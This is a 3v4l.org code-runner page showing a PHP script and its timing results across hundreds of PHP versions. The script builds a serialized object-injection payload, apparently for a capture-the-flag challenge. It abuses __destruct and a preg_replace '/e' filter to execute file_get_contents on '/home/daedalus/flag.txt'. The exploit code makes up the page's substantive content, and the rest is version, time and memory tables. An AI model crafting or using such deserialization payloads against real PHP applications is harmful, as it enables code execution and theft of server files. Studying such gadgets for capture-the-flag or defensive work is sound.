3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Filter { protected $pattern; protected $repl; function __construct($pattern, $repl) { $this->pattern = $pattern; $this->repl = $repl; } function filter($data) { return preg_replace($this->pattern, $this->repl, $data); } function __destruct(){ echo "BYE BITCH\n"; } }; class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); echo 'WOAH ITS A FILTER '.'"'.$this->filters.'"'; foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; $standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"), new Filter("/\[b\](.*)\[\/b\]/i", "<b>\\1</b>"), new Filter("/\[img\](.*)\[\/img\]/i", "<img src='\\1'>"), new Filter("/\[br\]/i", "<br>")]; echo json_encode(serialize(new Post("a", "br", [new Filter("/./e", "file_get_contents('/home/daedalus/flag.txt')"), new Filter("/moni/", "i repor u")])));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0110.00719.06
8.3.30.0060.00919.13
8.3.20.0000.00820.34
8.3.10.0050.00323.65
8.3.00.0080.00019.75
8.2.170.0090.00622.96
8.2.160.0060.00820.46
8.2.150.0080.00024.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0110.00422.23
8.2.110.0100.00019.11
8.2.100.0040.00818.09
8.2.90.0050.00319.26
8.2.80.0060.00317.97
8.2.70.0000.00917.63
8.2.60.0000.00818.04
8.2.50.0040.00418.07
8.2.40.0050.00519.82
8.2.30.0000.00818.13
8.2.20.0030.00617.94
8.2.10.0030.00618.10
8.2.00.0040.00417.86
8.1.270.0030.00523.91
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0090.00023.83
8.1.230.0090.00317.48
8.1.220.0000.00917.74
8.1.210.0090.00018.77
8.1.200.0090.00017.60
8.1.190.0000.00817.73
8.1.180.0030.00718.10
8.1.170.0030.00618.90
8.1.160.0000.00822.08
8.1.150.0040.00419.00
8.1.140.0040.00417.64
8.1.130.0030.00317.88
8.1.120.0000.00717.64
8.1.110.0050.00317.65
8.1.100.0050.00217.68
8.1.90.0050.00317.67
8.1.80.0070.00017.64
8.1.70.0040.00417.51
8.1.60.0060.00317.78
8.1.50.0000.00817.71
8.1.40.0090.00017.59
8.1.30.0040.00417.87
8.1.20.0050.00317.76
8.1.10.0040.00417.77
8.1.00.0060.00317.70
8.0.300.0060.00318.77
8.0.290.0040.00417.00
8.0.280.0070.00018.46
8.0.270.0000.00817.23
8.0.260.0030.00517.23
8.0.250.0030.00317.22
8.0.240.0030.00317.21
8.0.230.0030.00717.17
8.0.220.0030.00317.03
8.0.210.0050.00317.18
8.0.200.0000.00817.24
8.0.190.0000.00817.21
8.0.180.0020.00517.15
8.0.170.0050.00317.21
8.0.160.0000.00717.11
8.0.150.0040.00416.94
8.0.140.0040.00417.15
8.0.130.0030.00313.55
8.0.120.0000.00816.97
8.0.110.0000.00717.16
8.0.100.0040.00417.16
8.0.90.0080.00017.02
8.0.80.0130.01017.17
8.0.70.0040.00417.04
8.0.60.0000.00817.19
8.0.50.0040.00417.03
8.0.30.0090.01217.43
8.0.20.0160.00517.49
8.0.10.0040.00417.24
8.0.00.0110.01116.94
7.4.330.0000.00415.02
7.4.320.0060.00016.86
7.4.300.0000.00716.84
7.4.290.0050.00216.82
7.4.280.0060.00316.89
7.4.270.0040.00416.68
7.4.260.0070.00016.68
7.4.250.0040.00416.72
7.4.240.0040.00416.68
7.4.230.0000.00716.70
7.4.220.0090.01116.80
7.4.210.0090.00616.83
7.4.200.0050.00316.77
7.4.160.0100.00716.52
7.4.150.0060.01117.40
7.4.140.0110.00917.86
7.4.130.0080.01116.78
7.4.120.0100.00816.92
7.4.110.0090.00916.70
7.4.100.0070.01016.75
7.4.90.0100.00716.93
7.4.80.0030.01319.39
7.4.70.0120.00916.88
7.4.60.0120.00616.82
7.4.50.0030.00616.85
7.4.40.0160.00616.86
7.4.30.0100.00716.82
7.4.00.0090.00615.20
7.3.330.0030.00313.53
7.3.320.0000.00513.40
7.3.310.0000.00716.52
7.3.300.0070.00016.38
7.3.290.0080.00616.53
7.3.280.0080.01016.58
7.3.270.0090.00917.40
7.3.260.0120.00616.57
7.3.250.0080.00916.71
7.3.240.0110.00716.78
7.3.230.0160.01616.78
7.3.210.0090.00616.52
7.3.200.0070.01119.39
7.3.190.0180.00416.78
7.3.180.0100.00716.90
7.3.170.0220.00016.59
7.3.160.0140.00716.73
7.3.10.0040.00816.59
7.3.00.0030.00716.91
7.2.330.0100.00716.94
7.2.320.0030.01716.90
7.2.310.0100.01416.86
7.2.300.0250.00916.95
7.2.290.0120.00816.82
7.2.130.0070.00717.06
7.2.120.0070.00617.22
7.2.110.0040.00817.06
7.2.100.0080.00617.02
7.2.90.0070.00817.03
7.2.80.0070.00716.94
7.2.70.0060.00617.21
7.2.60.0050.00717.13
7.2.50.0030.00716.98
7.2.40.0070.00517.23
7.2.30.0080.00517.04
7.2.20.0060.00517.04
7.2.10.0040.00817.12
7.2.00.0080.00517.04
7.1.250.0030.01015.80
7.1.200.0100.00715.57
7.1.70.0050.00217.21
7.1.60.0030.02119.11
7.1.50.0100.01316.98
7.1.00.0000.08022.41
7.0.200.0000.01016.83
7.0.140.0030.07322.15
7.0.90.0600.06019.94
7.0.80.0070.04319.94
7.0.70.0400.07319.90
7.0.60.0300.07020.02
7.0.50.0070.07320.41
7.0.40.0100.08720.05
7.0.30.0030.09019.94
7.0.20.0100.07719.96
7.0.10.0000.08320.10
7.0.00.0070.05020.04
5.6.280.0030.07320.92
5.6.240.0030.08720.52
5.6.230.0030.09020.69
5.6.220.0030.07320.59
5.6.210.0130.06320.68
5.6.200.0130.04021.13
5.6.190.0230.07021.05
5.6.180.0030.06721.04
5.6.170.0000.07720.97
5.6.160.0070.08321.13
5.6.150.0070.07720.98
5.6.140.0000.05021.04
5.6.130.0030.04721.12
5.6.120.0070.08021.10
5.6.110.0030.08320.95
5.6.100.0070.08321.05
5.6.90.0070.04721.02
5.6.80.0000.05320.46
5.6.70.0000.04020.33
5.6.60.0100.07320.42
5.6.50.0130.05020.48
5.6.40.0030.05020.32
5.6.30.0100.08020.34
5.6.20.0000.06320.32
5.6.10.0030.07720.39
5.6.00.0100.07320.47
5.5.380.0130.07320.51
5.5.370.0030.08320.44
5.5.360.0100.04720.45
5.5.350.0070.04720.37
5.5.340.0100.07720.81
5.5.330.0070.04720.90
5.5.320.0030.08720.88
5.5.310.0030.08720.94
5.5.300.0130.07720.93
5.5.290.0070.05320.93
5.5.280.0130.06720.90
5.5.270.0070.08020.83
5.5.260.0070.03720.76
5.5.250.0100.04020.63
5.5.240.0030.06020.29
5.5.230.0000.04020.13
5.5.220.0100.07020.27
5.5.210.0230.06020.22
5.5.200.0100.05720.15
5.5.190.0100.07720.10
5.5.180.0030.08720.24
5.5.160.0100.08320.18
5.5.150.0100.07020.26
5.5.140.0170.04020.01
5.5.130.0070.04720.19
5.5.120.0100.08020.26
5.5.110.0030.06720.20
5.5.100.0100.06320.08
5.5.90.0070.04720.08
5.5.80.0100.06020.02
5.5.70.0070.08020.10
5.5.60.0100.05720.04
5.5.50.0130.03020.02
5.5.40.0100.07720.06
5.5.30.0100.07720.11
5.5.20.0100.08020.06
5.5.10.0000.09020.03
5.5.00.0070.04320.08
5.4.450.0030.04319.51
5.4.440.0030.05019.49
5.4.430.0030.05019.50
5.4.420.0030.07319.19
5.4.410.0000.04319.14
5.4.400.0030.07719.21
5.4.390.0170.06719.04
5.4.380.0030.04718.87
5.4.370.0100.07319.16
5.4.360.0100.07719.13
5.4.350.0100.07019.16
5.4.340.0070.07718.85
5.4.320.0070.08019.13
5.4.310.0070.04019.16
5.4.300.0070.07019.03
5.4.290.0070.04019.03
5.4.280.0070.07019.04
5.4.270.0100.08019.18
5.4.260.0070.07019.09
5.4.250.0130.07019.04
5.4.240.0100.04019.18
5.4.230.0130.03719.08
5.4.220.0030.06719.07
5.4.210.0030.04719.15
5.4.200.0030.07019.20
5.4.190.0070.04019.02
5.4.180.0100.06719.15
5.4.170.0100.05018.87
5.4.160.0030.04318.94
5.4.150.0070.07019.03
5.4.140.0000.07016.34
5.4.130.0000.08316.46
5.4.120.0030.07716.33
5.4.110.0070.07316.40
5.4.100.0030.07716.34
5.4.90.0030.05316.38
5.4.80.0070.04016.54
5.4.70.0070.06316.57
5.4.60.0130.06716.41
5.4.50.0070.07716.45
5.4.40.0070.05316.46
5.4.30.0070.06016.36
5.4.20.0070.07316.34
5.4.10.0100.06716.39
5.4.00.0070.04315.86
5.3.290.0070.04714.80
5.3.280.0200.06314.60
5.3.270.0100.07014.60
5.3.260.0030.08314.71
5.3.250.0030.08014.75
5.3.240.0030.07714.63
5.3.230.0100.07314.61
5.3.220.0030.07314.56
5.3.210.0100.06314.56
5.3.200.0070.04714.66
5.3.190.0070.07014.50
5.3.180.0070.04014.57
5.3.170.0030.07314.57
5.3.160.0070.03714.53
5.3.150.0170.07014.59
5.3.140.0070.07014.56
5.3.130.0000.07714.62
5.3.120.0100.06714.67
5.3.110.0130.04714.49
5.3.100.0100.07014.07
5.3.90.0070.07013.96
5.3.80.0030.08014.09
5.3.70.0200.06014.11
5.3.60.0130.05314.04
5.3.50.0070.05014.10
5.3.40.0000.04713.99
5.3.30.0000.04013.98
5.3.20.0030.05013.59
5.3.10.0100.06713.61
5.3.00.0070.03013.77
5.2.170.0070.06311.04
5.2.160.0000.06711.30
5.2.150.0030.04711.18
5.2.140.0070.06311.27
5.2.130.0030.03311.01
5.2.120.0070.06011.04
5.2.110.0000.03310.98
5.2.100.0030.03711.22
5.2.90.0070.03011.25
5.2.80.0000.03011.00
5.2.70.0000.03011.23
5.2.60.0000.03010.95
5.2.50.0000.03711.04
5.2.40.0030.03011.15
5.2.30.0030.02710.89
5.2.20.0000.03010.90
5.2.10.0030.03310.79
5.2.00.0030.03310.65
5.1.60.0000.02710.13
5.1.50.0030.04310.10
5.1.40.0000.0279.99
5.1.30.0000.02710.41
5.1.20.0000.02710.51
5.1.10.0030.0209.97
5.1.00.0100.01710.09
5.0.50.0030.0178.58
5.0.40.0000.0238.52
5.0.30.0000.0308.09
5.0.20.0000.0238.07
5.0.10.0030.0178.25
5.0.00.0030.0278.17
4.4.90.0000.0176.98
4.4.80.0000.0176.98
4.4.70.0000.0176.98
4.4.60.0030.0136.98
4.4.50.0030.0136.98
4.4.40.0000.0236.98
4.4.30.0000.0136.98
4.4.20.0030.0276.98
4.4.10.0070.0106.98
4.4.00.0030.0306.98
4.3.110.0000.0206.98
4.3.100.0030.0236.98
4.3.90.0000.0176.98
4.3.80.0000.0236.98
4.3.70.0030.0136.98
4.3.60.0000.0136.98
4.3.50.0000.0136.98
4.3.40.0000.0306.98
4.3.30.0000.0176.98
4.3.20.0030.0136.98
4.3.10.0070.0106.98
4.3.00.0000.0206.98

preferences:
51.02 ms | 400 KiB | 5 Q